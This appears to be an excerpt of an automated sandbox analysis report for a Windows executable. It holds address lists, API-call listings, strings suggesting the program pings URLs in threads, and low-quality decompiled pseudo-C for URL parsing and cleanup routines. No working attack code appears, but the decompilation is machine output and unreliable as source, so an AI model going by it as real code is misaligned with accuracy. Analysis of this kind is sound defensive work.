0x7ff61d78f7ab
0x7ff61d78f7b5
0x7ff61d78f7ba
0x7ff61d78f7bd
0x7ff61d78f7c5
0x7ff61d78f7ca
0x7ff61d78f7d4
0x7ff61d78f7dd
0x7ff61d78f7e3
0x7ff61d78f7fa
0x7ff61d78f802
0x7ff61d78f806
0x7ff61d78f811
0x7ff61d78f817
0x7ff61d78f81a
0x7ff61d78f821
0x7ff61d78f82b
0x7ff61d78f831
0x7ff61d78f835
0x7ff61d78f83a
0x7ff61d78f83e
0x7ff61d78f842
0x7ff61d78f848
0x7ff61d78f848
0x7ff61d78f84c
0x7ff61d78f850
0x7ff61d78f858
0x7ff61d78f85d
0x7ff61d78f860
0x7ff61d78f86c
0x7ff61d78f877
0x7ff61d78f880
0x7ff61d78f889
0x7ff61d78f88d
0x7ff61d78f890
0x7ff61d78f896
0x7ff61d78f8a4
0x7ff61d78f8a9
0x7ff61d78f8b6
0x7ff61d78f8bb
0x7ff61d78f8c8
0x7ff61d78f8cd
0x7ff61d78f8d6
0x7ff61d78f8e3
0x7ff61d78f8e9
0x7ff61d78f8ed
0x7ff61d78f8f3
0x7ff61d78f8f7
0x7ff61d78f903
0x7ff61d78f906
0x7ff61d78f90a
0x7ff61d78f90d
0x7ff61d78f918
0x7ff61d78f91b
0x7ff61d78f91b
0x7ff61d78f926
0x7ff61d78f92a
0x7ff61d78f92d
0x7ff61d78f941
0x7ff61d78f952
0x7ff61d78f965
0x7ff61d78f970
0x7ff61d78f974
0x7ff61d78f97d
0x7ff61d78f97f
0x7ff61d78f98a
0x7ff61d78f98c
0x7ff61d78f990
0x7ff61d78f9a1
0x7ff61d78f9a6
0x7ff61d78f9aa
0x7ff61d78f9b4
0x7ff61d78f9bb
0x7ff61d78f9c5
0x7ff61d78f9c7
0x7ff61d78f9ce
0x7ff61d78f9d3
0x7ff61d78f9d5
0x7ff61d78f9dc
0x7ff61d78f9e2
0x7ff61d78f9f5
0x7ff61d78f9fd
0x7ff61d78fa03
0x7ff61d78fa06
0x7ff61d78fa0f
0x7ff61d78fa18
0x7ff61d78fa1f
0x7ff61d78fa26
0x7ff61d78fa2d
0x7ff61d78fa34
0x7ff61d78fa39
0x7ff61d78fa3d
0x7ff61d78fa45
0x7ff61d78fa47
0x7ff61d78fa4e
0x7ff61d78fa67
0x7ff61d78fa82
0x7ff61d78fa86
0x7ff61d78fa8c
0x7ff61d78fa8e
0x7ff61d78fa91
0x7ff61d78fa99
0x7ff61d78fa9f
0x7ff61d78faa1
0x7ff61d78faa1
0x7ff61d78faa5
0x7ff61d78faaa
0x7ff61d78faaf
0x7ff61d78fabd
0x7ff61d78fac3
0x7ff61d78fac7
0x7ff61d78fad1
0x7ff61d78faea
0x7ff61d78faef
0x7ff61d78faf2
0x7ff61d78fb06
0x7ff61d78fb10
0x7ff61d78fb1c
0x7ff61d78fb2c
0x7ff61d78fb37
0x7ff61d78fb39
0x7ff61d78fb3f
0x7ff61d78fb49
0x7ff61d78fb55
0x7ff61d78fb6a
0x7ff61d78fb73
0x7ff61d78fb7a
0x7ff61d78fb7d
0x7ff61d78fb84
0x7ff61d78fb86
0x7ff61d78fb8a
0x7ff61d78fb8c
0x7ff61d78fb8d
0x7ff61d78fb8e
0x7ff61d78fb8f
0x7ff61d78fb90
0x7ff61d78fb95
0x7ff61d78fb96
0x7ff61d78fb97
0x7ff61d78fb98
0x7ff61d78fb9d
0x7ff61d78fba1
0x7ff61d78fbaa
0x7ff61d78fbae
0x7ff61d78fbb3
0x7ff61d78fbb4
0x7ff61d78fbb9
0x7ff61d78fbbd
0x7ff61d78fbc6
0x7ff61d78fbca
0x7ff61d78fbcf
0x7ff61d78fbd0
0x7ff61d78fbd3
0x7ff61d78fbe1
0x7ff61d78fbe5
0x7ff61d78fbec
0x7ff61d78fbf4
0x7ff61d78fbf8
0x7ff61d78fbfb
0x7ff61d78fc00
0x7ff61d78fc05
0x7ff61d78fc0a
0x7ff61d78fc14
0x7ff61d78fc28
0x7ff61d78fc32
0x7ff61d78fc46
0x7ff61d78fc53
0x7ff61d78fc6d
0x7ff61d78fc79
0x7ff61d78fc85
0x7ff61d78fc8a
0x7ff61d78fc8f
0x7ff61d78fca2
0x7ff61d78fca8
0x7ff61d78fcac
0x7ff61d78fcb3
0x7ff61d78fcc0
0x7ff61d78fccc
0x7ff61d78fcdb
0x7ff61d78fce0
0x7ff61d78fcf3
0x7ff61d78fd0c
0x7ff61d78fd22
0x7ff61d78fd2f
0x7ff61d78fd39
0x7ff61d78fd41
0x7ff61d78fd4c
0x7ff61d78fd55
0x7ff61d78fd77
0x7ff61d78fd7a
0x7ff61d78fd96
0x7ff61d78fd9c
0x7ff61d78fdaa
0x7ff61d78fdac
0x7ff61d78fdb3
0x7ff61d78fdb8
0x7ff61d78fdc9
0x7ff61d78fdcf
0x7ff61d78fdd2
0x7ff61d78fdd6
0x7ff61d78fde0
0x7ff61d78fde2
0x7ff61d78fde9
0x7ff61d78fdf0
0x7ff61d78fdf4
0x7ff61d78fdf8
0x7ff61d78fdfd
0x7ff61d78fe02
0x7ff61d78fe0f
0x7ff61d78fe13
0x7ff61d78fe1f
0x7ff61d78fe23
0x7ff61d78fe2f
0x7ff61d78fe33
0x7ff61d78fe3b
0x7ff61d78fe41
0x7ff61d78fe4a
0x7ff61d78fe50
0x7ff61d78fe5c
0x7ff61d78fe64
0x7ff61d78fe72
0x7ff61d78fe76
0x7ff61d78fe7a
0x7ff61d78fe85
0x7ff61d78fe8e
0x7ff61d78fe9d
0x7ff61d78fea5
0x7ff61d78feb0
0x7ff61d78fec1
0x7ff61d78fed5
0x7ff61d78fedd
0x7ff61d78fef6

APIs

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

malloc.MSVCRT ref: 00007FF61D78F811
malloc.MSVCRT ref: 00007FF61D78F9DC
memmove.MSVCRT ref: 00007FF61D78F9F5
free.MSVCRT ref: 00007FF61D78F9FD

Part of subcall function 00007FF61D78FFEC: malloc.MSVCRT ref: 00007FF61D79000F

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

CreateThread.KERNEL32 ref: 00007FF61D78FABD
WaitForSingleObject.KERNEL32 ref: 00007FF61D78FB1C
free.MSVCRT ref: 00007FF61D78FB73

Strings

Wait for pings to complete..., xrefs: 00007FF61D78FAD7
Ping URL %s, xrefs: 00007FF61D78F7E7
All pings completed, xrefs: 00007FF61D78FB57
Ping url %s for %d times, xrefs: 00007FF61D78F7A4
cached-consensus, xrefs: 00007FF61D78F775
Start ping threads..., xrefs: 00007FF61D78FA54

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freemalloc$Thread$CreateCurrentLocalObjectSingleTimeWait_cwprintf_s_lmemmove
String ID: All pings completed$Ping URL %s$Ping url %s for %d times$Start ping threads...$Wait for pings to complete...$cached-consensus
API String ID: 1567787208-2628093854
Opcode ID: 141017cf0bda68c04589e9e78da2233a43c31b67e271a4a0c954a7204ceab141
Instruction ID: b0563a932a2b8bfc2205ad0f1c3a3363e02e9f53d79daecc4f3a0b819085a933
Opcode Fuzzy Hash: 141017cf0bda68c04589e9e78da2233a43c31b67e271a4a0c954a7204ceab141
Instruction Fuzzy Hash: ABC1B033A19F8596EB04CF25E8401A9B7A4FB88BA8F544136DF4D93B68EF38D559C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781670 Relevance: 12.0, APIs: 8, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF61D7816A4
GetStdHandle.KERNEL32 ref: 00007FF61D7816B0
GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF61D7816BE
GetStdHandle.KERNEL32 ref: 00007FF61D7816C9
SetConsoleTextAttribute.KERNEL32 ref: 00007FF61D7816D5
vprintf.MSVCRT ref: 00007FF61D7816E1
GetStdHandle.KERNEL32 ref: 00007FF61D7816EC
SetConsoleTextAttribute.KERNEL32 ref: 00007FF61D7816FA

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: ConsoleHandle$AttributeText$BufferCriticalEnterInfoScreenSectionvprintf
String ID:
API String ID: 2254156624-0
Opcode ID: e0510c3791aeaa46cc1eb55e9a49d546abe1d3471db95dd836585f7d16303df5
Instruction ID: 93835b377c4b56c4be6490aefecdb58b08527ef12aaac0c249528799cd19d715
Opcode Fuzzy Hash: e0510c3791aeaa46cc1eb55e9a49d546abe1d3471db95dd836585f7d16303df5
Instruction Fuzzy Hash: 0C110C26608F5192D6189B26A8140297366FF89FB1B449336EE6E53BF4DF3CD84E8304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D792DE0 Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00007FF67FF61D792DE0(long long _a8, long long _a16, long long _a24) {
				long long _v24;
				void* _t14;
				void* _t15;
				long long _t20;
				intOrPtr _t21;
				long long _t33;
				long long _t34;
				intOrPtr _t35;

				_v24 = 0xfffffffe;
				_a16 = _t20;
				_a24 = _t34;
				_t21 =  *0x1d79d058; // 0x26814dde010
				_t35 =  *0x1d79d060; // 0x26814e19638
				goto 0x1d792e6c;
				_t33 =  *((intOrPtr*)(_t21 + 0x20));
				_a8 = _t33;
				if (_t33 == 0) goto 0x1d792e68;
				free(??);
				free(??);
				free(??);
				free(??);
				_t15 = E00007FF67FF61D781BDC(_t14, _t33 + 0x38);
				DeleteCriticalSection(??);
				free(??);
				if (_t21 + 0x28 != _t35) goto 0x1d792e09;
				_a8 = 0x1d79d050;
				E00007FF67FF61D788C58(_t15, _t21 + 0x28, 0x1d79d050, _t35);
				return free(??);
			}

0x7ff61d792de6
0x7ff61d792def
0x7ff61d792df4
0x7ff61d792df9
0x7ff61d792e00
0x7ff61d792e07
0x7ff61d792e09
0x7ff61d792e0d
0x7ff61d792e15
0x7ff61d792e1e
0x7ff61d792e2c
0x7ff61d792e3a
0x7ff61d792e45
0x7ff61d792e50
0x7ff61d792e59
0x7ff61d792e62
0x7ff61d792e6f
0x7ff61d792e78
0x7ff61d792e7d
0x7ff61d792e99

APIs

free.MSVCRT ref: 00007FF61D792E1E
free.MSVCRT ref: 00007FF61D792E2C
free.MSVCRT ref: 00007FF61D792E3A
free.MSVCRT ref: 00007FF61D792E45
DeleteCriticalSection.KERNEL32 ref: 00007FF61D792E59
free.MSVCRT ref: 00007FF61D792E62

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 3d97e103135315dc5cb36c0cd0aaa65f356849eb94b860ffd254cbe4b21beb27
Instruction ID: d18906009998ca4cb46a17812a2a44ce1143a4a7303dfba13d2250b52ae21c91
Opcode Fuzzy Hash: 3d97e103135315dc5cb36c0cd0aaa65f356849eb94b860ffd254cbe4b21beb27
Instruction Fuzzy Hash: 3C11DD36A08E4192EA189B25E9451796330FB86FB1F541231DA6E937A4EF3CE869C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78E0B8 Relevance: 8.0, APIs: 1, Strings: 4, Instructions: 484
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FF67FF61D78E0B8(void* __edx, void* __eflags, long long __rbx, long long __rcx, signed long long __rdx, void* __r8) {
				void* __rsi;
				void* __rbp;
				void* _t226;
				void* _t228;
				void* _t232;
				void* _t233;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t243;
				void* _t248;
				void* _t250;
				void* _t266;
				void* _t289;
				signed short _t291;
				signed int _t296;
				void* _t298;
				signed int _t305;
				void* _t310;
				signed long long _t315;
				signed long long _t316;
				void* _t321;
				signed long long _t327;
				signed long long _t331;
				signed long long _t332;
				signed long long _t337;
				signed long long _t348;
				signed long long _t352;
				signed long long _t360;
				signed long long _t362;
				void* _t367;
				signed int _t368;
				signed int _t392;
				signed long long _t409;
				void* _t411;
				signed long long _t428;
				void* _t437;
				signed int _t441;
				signed long long _t442;
				void* _t444;
				signed long long _t459;
				void* _t463;
				signed long long _t466;
				signed long long _t473;
				signed long long _t474;
				void* _t475;
				long long _t478;
				void* _t481;
				void* _t483;
				void* _t486;
				signed short _t487;
				void* _t491;
				signed int _t493;
				void* _t496;
				signed int _t498;
				void* _t512;
				signed int _t517;
				intOrPtr _t518;
				signed int _t519;
				signed int _t520;
				signed int _t522;
				void* _t525;
				intOrPtr _t528;
				signed int _t531;
				signed short _t534;
				signed short _t536;
				void* _t537;
				signed short _t541;
				intOrPtr _t542;
				char* _t546;
				signed short _t547;

				_t486 = __r8;
				_t266 = __eflags;
				_t289 = _t483;
				 *((long long*)(_t289 + 8)) = __rcx;
				_push(_t473);
				_t481 = _t289 - 0x5f;
				 *((long long*)(_t481 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t289 + 0x10)) = __rbx;
				_t478 = __rcx;
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				_t352 = __rdx;
				_t226 = E00007FF67FF61D781B1C(__rdx, __rcx);
				_t534 = _t478 + 0x20;
				 *(_t481 + 0x77) = _t534;
				 *((long long*)(_t534 + 8)) = __rbx;
				 *((long long*)(_t534 + 0x10)) = __rbx;
				 *((long long*)(_t534 + 0x18)) = __rbx;
				_t291 = _t478 + 0x40;
				 *(_t481 + 0x77) = _t291;
				 *((long long*)(_t291 + 8)) = __rbx;
				 *((long long*)(_t291 + 0x10)) = __rbx;
				 *((long long*)(_t291 + 0x18)) = __rbx;
				_t541 = _t478 + 0x60;
				 *(_t481 + 0x77) = _t541;
				 *((long long*)(_t541 + 8)) = __rbx;
				 *((long long*)(_t541 + 0x10)) = __rbx;
				 *((long long*)(_t541 + 0x18)) = __rbx;
				_t547 = _t478 + 0x80;
				 *(_t481 + 0x77) = _t547;
				 *((long long*)(_t547 + 8)) = __rbx;
				 *((long long*)(_t547 + 0x10)) = __rbx;
				 *((long long*)(_t547 + 0x18)) = __rbx;
				 *(_t481 - 0x29) = 0x1d7953e4;
				 *((long long*)(_t481 - 0x21)) = 0x1d7953e7;
				_t522 =  *((intOrPtr*)(_t478 + 8));
				_t348 =  *((intOrPtr*)(_t478 + 0x10)) - _t522;
				asm("dec eax");
				_t296 = (_t352 & _t348 - 0x00000001) + _t522;
				 *(_t481 - 0x49) = _t522;
				 *(_t481 - 0x41) = _t296;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				asm("movaps xmm1, [ebp-0x29]");
				asm("movdqa [ebp-0x59], xmm1");
				r8d = 0;
				_t428 = _t481 - 0x59;
				E00007FF67FF61D7817E4(_t226, _t266, _t296, _t348, _t481 - 0x49, _t428, _t478, _t481, _t486);
				 *(_t481 + 0x7f) = _t296;
				_t474 = _t473 | 0xffffffff;
				if (_t296 == _t474) goto 0x1d78e1dc;
				_t37 = _t296 + 3; // 0x3
				_t487 = _t37;
				 *(_t481 + 0x77) = _t487;
				asm("dec eax");
				_t298 =  <  ? _t428 & _t348 - 0x00000001 : _t487;
				goto 0x1d78e1f2;
				 *(_t481 + 0x77) = 2;
				_t228 = E00007FF67FF61D781BA8(_t298, _t481 - 9);
				_t491 = _t298;
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				 *((long long*)(_t534 + 8)) =  *((intOrPtr*)(_t298 + 8));
				 *((long long*)(_t298 + 8)) =  *((intOrPtr*)(_t534 + 8));
				 *((long long*)(_t534 + 0x10)) =  *((intOrPtr*)(_t298 + 0x10));
				 *((long long*)(_t298 + 0x10)) =  *((intOrPtr*)(_t534 + 0x10));
				 *((long long*)(_t534 + 0x18)) =  *((intOrPtr*)(_t298 + 0x18));
				 *((long long*)(_t491 + 0x18)) =  *((intOrPtr*)(_t534 + 0x18));
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				_t360 = _t481 - 9;
				E00007FF67FF61D781BDC(_t228, _t360);
				r8d = 0;
				_t492 =  !=  ?  *(_t481 + 0x77) : _t491;
				 *(_t481 + 0x7f) =  !=  ?  *(_t481 + 0x77) : _t491;
				 *(_t481 - 0x59) = 0x1d7938e8;
				 *((long long*)(_t481 - 0x51)) = 0x1d7938e9;
				_t517 =  *((intOrPtr*)(_t478 + 8));
				 *(_t481 - 0x29) = _t517;
				_t525 =  *((intOrPtr*)(_t478 + 0x10)) - _t517;
				 *(_t481 + 0x77) = _t525 - 1;
				asm("dec eax");
				_t305 = (_t360 & _t525 - 0x00000001) + _t517;
				 *(_t481 - 0x49) = _t517;
				 *(_t481 - 0x41) = _t305;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				asm("movaps xmm1, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm1");
				_t362 = _t481 - 0x49;
				E00007FF67FF61D7817E4(0,  *(_t481 + 0x7f) - _t474, _t305,  ~_t348, _t362, _t481 - 0x59, _t478, _t481,  !=  ?  *(_t481 + 0x77) : _t491);
				 *(_t481 - 0x49) = _t305;
				_t493 =  *(_t481 + 0x7f);
				if (_t305 == _t474) goto 0x1d78e2f8;
				asm("dec eax");
				_t437 =  <  ? (_t362 &  *(_t481 + 0x77)) - _t493 : _t305 - _t493;
				goto 0x1d78e316;
				asm("dec eax");
				_t367 = ( *(_t481 - 0x29) &  *(_t481 + 0x77)) - _t493;
				_t308 =  <  ? _t367 : _t474;
				_t368 =  *(_t481 - 0x29);
				_t309 = ( <  ? _t367 : _t474) + _t368;
				_t310 = ( <  ? _t367 : _t474) + _t368 - _t368 + _t493;
				_t232 = E00007FF67FF61D781BA8(_t310, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				 *((long long*)(_t541 + 8)) =  *((intOrPtr*)(_t310 + 8));
				 *((long long*)(_t310 + 8)) =  *((intOrPtr*)(_t541 + 8));
				 *((long long*)(_t541 + 0x10)) =  *((intOrPtr*)(_t310 + 0x10));
				 *((long long*)(_t310 + 0x10)) =  *((intOrPtr*)(_t541 + 0x10));
				 *((long long*)(_t541 + 0x18)) =  *((intOrPtr*)(_t310 + 0x18));
				 *((long long*)(_t310 + 0x18)) =  *((intOrPtr*)(_t541 + 0x18));
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				_t233 = E00007FF67FF61D781BDC(_t232, _t481 - 9);
				 *(_t481 - 0x29) = ":";
				 *((long long*)(_t481 - 0x21)) = 0x1d7953f1;
				_t441 =  *((intOrPtr*)(_t541 + 8));
				_t528 =  *((intOrPtr*)(_t541 + 0x10));
				_t315 = _t528 - _t441;
				_t316 =  ~_t315;
				asm("dec eax");
				 *(_t481 - 0x59) = _t441;
				 *((long long*)(_t481 - 0x51)) = (_t315 - 0x00000001 & _t316) + _t441;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				asm("movaps xmm1, [ebp-0x29]");
				asm("movdqa [ebp-0x59], xmm1");
				r8d = 0;
				_t442 = _t481 - 0x59;
				E00007FF67FF61D7817E4(_t233, _t367 - _t474, _t316,  ~_t348, _t481 - 0x39, _t442, _t478, _t481, _t310);
				 *(_t481 + 0x77) = _t316;
				if (_t316 == _t474) goto 0x1d78e41b;
				_t108 = _t316 + 1; // 0x1
				_t496 = _t108;
				_t518 =  *((intOrPtr*)(_t541 + 8));
				asm("dec eax");
				_t444 = (_t442 & _t528 - _t518 - 0x00000001) - _t496;
				_t380 =  <  ? _t444 : _t474;
				_t381 = ( <  ? _t444 : _t474) + _t518;
				_t382 = ( <  ? _t444 : _t474) + _t518 + _t496;
				 *(_t481 - 0x59) = _t518 + _t496;
				 *((long long*)(_t481 - 0x51)) = ( <  ? _t444 : _t474) + _t518 + _t496;
				r12d = 0;
				goto 0x1d78e4fe;
				_t235 = E00007FF67FF61D781BA8(_t518 + _t496, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 1;
				_t498 =  *((intOrPtr*)(_t481 - 1));
				asm("dec eax");
				 *(_t481 - 0x59) = _t498;
				 *((long long*)(_t481 - 0x51)) = ("http://" &  *((intOrPtr*)(_t481 + 7)) - _t498 - 0x00000001) + _t498;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				_t236 = E00007FF67FF61D781C38(_t235, _t316, _t481 - 0x39);
				r12d = 0;
				if (_t236 == 0) goto 0x1d78e47d;
				goto 0x1d78e4e3;
				_t237 = E00007FF67FF61D781BA8( *((intOrPtr*)(_t481 + 7)) - _t498 - 1, _t481 - 0x29);
				 *((intOrPtr*)(_t481 - 0x69)) = 3;
				_t519 =  *((intOrPtr*)(_t481 - 0x21));
				asm("dec ebp");
				 *(_t481 - 0x59) = _t519;
				 *((long long*)(_t481 - 0x51)) = (_t474 &  *((intOrPtr*)(_t481 - 0x19)) - _t519 - 0x00000001) + _t519;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				_t238 = E00007FF67FF61D781C38(_t237, _t316, _t481 - 0x39);
				_t392 =  !=  ? "443" : "0";
				_t321 = _t474 + 1;
				if ( *((intOrPtr*)(_t392 + _t321)) != r12b) goto 0x1d78e4e6;
				 *(_t481 - 0x59) = _t392;
				 *((long long*)(_t481 - 0x51)) = _t321 + _t392;
				_t536 =  *(_t481 + 0x77);
				asm("movups xmm0, [eax]");
				asm("movdqu [ebp-0x39], xmm0");
				if (2 == 0) goto 0x1d78e51f;
				 *((intOrPtr*)(_t481 - 0x69)) = 1;
				_t239 = E00007FF67FF61D781BDC(_t238, _t481 - 0x29);
				if (1 == 0) goto 0x1d78e533;
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				E00007FF67FF61D781BDC(_t239, _t481 - 9);
				 *(_t481 + 0x77) = r12d;
				sscanf(_t546);
				 *((short*)(_t478 + 0xa0)) =  *(_t481 + 0x77) & 0x0000ffff;
				if (_t536 == _t474) goto 0x1d78e5d3;
				asm("dec eax");
				_t327 =  ~( *((intOrPtr*)(_t541 + 0x10)) -  *((intOrPtr*)(_t541 + 8))) &  *((intOrPtr*)(_t541 + 0x10)) -  *((intOrPtr*)(_t541 + 8)) - 0x00000001;
				_t537 =  <  ? _t327 : _t536;
				_t243 = E00007FF67FF61D781BA8(_t327, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 0x20;
				 *((long long*)(_t541 + 8)) =  *((intOrPtr*)(_t327 + 8));
				 *((long long*)(_t327 + 8)) =  *((intOrPtr*)(_t541 + 8));
				 *((long long*)(_t541 + 0x10)) =  *((intOrPtr*)(_t327 + 0x10));
				 *((long long*)(_t327 + 0x10)) =  *((intOrPtr*)(_t541 + 0x10));
				 *((long long*)(_t541 + 0x18)) =  *((intOrPtr*)(_t327 + 0x18));
				 *((long long*)(_t327 + 0x18)) =  *((intOrPtr*)(_t541 + 0x18));
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				E00007FF67FF61D781BDC(_t243, _t481 - 9);
				 *(_t481 - 0x29) = 0x1d7938ec;
				 *((long long*)(_t481 - 0x21)) = 0x1d7938ed;
				_t531 =  *((intOrPtr*)(_t541 + 8));
				_t542 =  *((intOrPtr*)(_t541 + 0x10));
				_t331 = _t542 - _t531;
				_t332 =  ~_t331;
				asm("dec eax");
				 *(_t481 - 0x59) = _t531;
				 *((long long*)(_t481 - 0x51)) = (_t331 - 0x00000001 & _t332) + _t531;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movaps xmm1, [ebp-0x29]");
				asm("movdqa [ebp-0x39], xmm1");
				_t459 = _t481 - 0x39;
				E00007FF67FF61D781894(_t327 - _t536,  ~_t348, _t481 - 0x59, _t459, _t478);
				if (_t332 != _t474) goto 0x1d78e63b;
				goto 0x1d78e686;
				asm("dec eax");
				_t507 =  <  ? _t459 & _t542 - _t531 - 0x00000001 : _t332;
				 *(_t481 - 0x29) = _t531;
				 *((long long*)(_t481 - 0x21)) = _t531 + ( <  ? _t459 & _t542 - _t531 - 0x00000001 : _t332);
				 *(_t481 - 0x59) = 0x1d7938ec;
				 *((long long*)(_t481 - 0x51)) = 0x1d7938ed;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				_t409 = _t481 - 0x29;
				E00007FF67FF61D781894((_t459 & _t542 - _t531 - 0x00000001) - _t332,  ~_t348, _t409, _t481 - 0x39, _t478);
				_t463 =  ==  ? 0x1d7938ed : 0x7ff61d7938ee;
				_t337 = _t542 - _t531 - 1;
				asm("dec eax");
				_t411 = (_t409 & _t337) - _t463;
				_t509 =  <  ? _t411 : _t474;
				_t510 = ( <  ? _t411 : _t474) + _t531;
				_t511 = ( <  ? _t411 : _t474) + _t531 + _t463;
				_t512 = ( <  ? _t411 : _t474) + _t531 + _t463 - _t463 + _t531;
				_t248 = E00007FF67FF61D781BA8(_t337, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 0x40;
				 *((long long*)(_t478 + 0x48)) =  *((intOrPtr*)(_t337 + 8));
				 *((long long*)(_t337 + 8)) =  *((intOrPtr*)(_t478 + 0x48));
				_t466 =  *((intOrPtr*)(_t478 + 0x50));
				 *((long long*)(_t478 + 0x50)) =  *(_t337 + 0x10);
				 *(_t337 + 0x10) = _t466;
				 *((long long*)(_t478 + 0x58)) =  *((intOrPtr*)(_t337 + 0x18));
				 *((long long*)(_t337 + 0x18)) =  *((intOrPtr*)(_t478 + 0x58));
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				E00007FF67FF61D781BDC(_t248, _t481 - 9);
				_t520 =  *(_t481 - 0x49);
				if (_t520 == _t474) goto 0x1d78e748;
				asm("dec eax");
				_t475 =  <  ? (_t466 &  *((intOrPtr*)(_t478 + 0x10)) -  *((intOrPtr*)(_t478 + 8)) - 0x00000001) - _t520 : _t474;
				goto 0x1d78e756;
				_t250 = E00007FF67FF61D781BA8(1, _t481 - 9);
				asm("bts ebx, 0x7");
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				 *((long long*)(_t547 + 8)) =  *((intOrPtr*)(9));
				 *((long long*)(9)) =  *((intOrPtr*)(_t547 + 8));
				 *((long long*)(_t547 + 0x10)) =  *((intOrPtr*)(0x11));
				 *((long long*)(0x11)) =  *((intOrPtr*)(_t547 + 0x10));
				 *((long long*)(_t547 + 0x18)) =  *((intOrPtr*)(0x19));
				 *((long long*)(0x19)) =  *((intOrPtr*)(_t547 + 0x18));
				asm("btr ebx, 0x7");
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				return E00007FF67FF61D781BDC(_t250, _t481 - 9);
			}

0x7ff61d78e0b8
0x7ff61d78e0b8
0x7ff61d78e0b8
0x7ff61d78e0bb
0x7ff61d78e0c1
0x7ff61d78e0ca
0x7ff61d78e0d5
0x7ff61d78e0dd
0x7ff61d78e0e4
0x7ff61d78e0e9
0x7ff61d78e0ef
0x7ff61d78e0f2
0x7ff61d78e0f8
0x7ff61d78e0fc
0x7ff61d78e100
0x7ff61d78e104
0x7ff61d78e108
0x7ff61d78e10c
0x7ff61d78e110
0x7ff61d78e114
0x7ff61d78e118
0x7ff61d78e11c
0x7ff61d78e120
0x7ff61d78e124
0x7ff61d78e128
0x7ff61d78e12c
0x7ff61d78e130
0x7ff61d78e134
0x7ff61d78e13b
0x7ff61d78e13f
0x7ff61d78e143
0x7ff61d78e147
0x7ff61d78e152
0x7ff61d78e15d
0x7ff61d78e161
0x7ff61d78e169
0x7ff61d78e176
0x7ff61d78e17c
0x7ff61d78e180
0x7ff61d78e184
0x7ff61d78e188
0x7ff61d78e18c
0x7ff61d78e191
0x7ff61d78e195
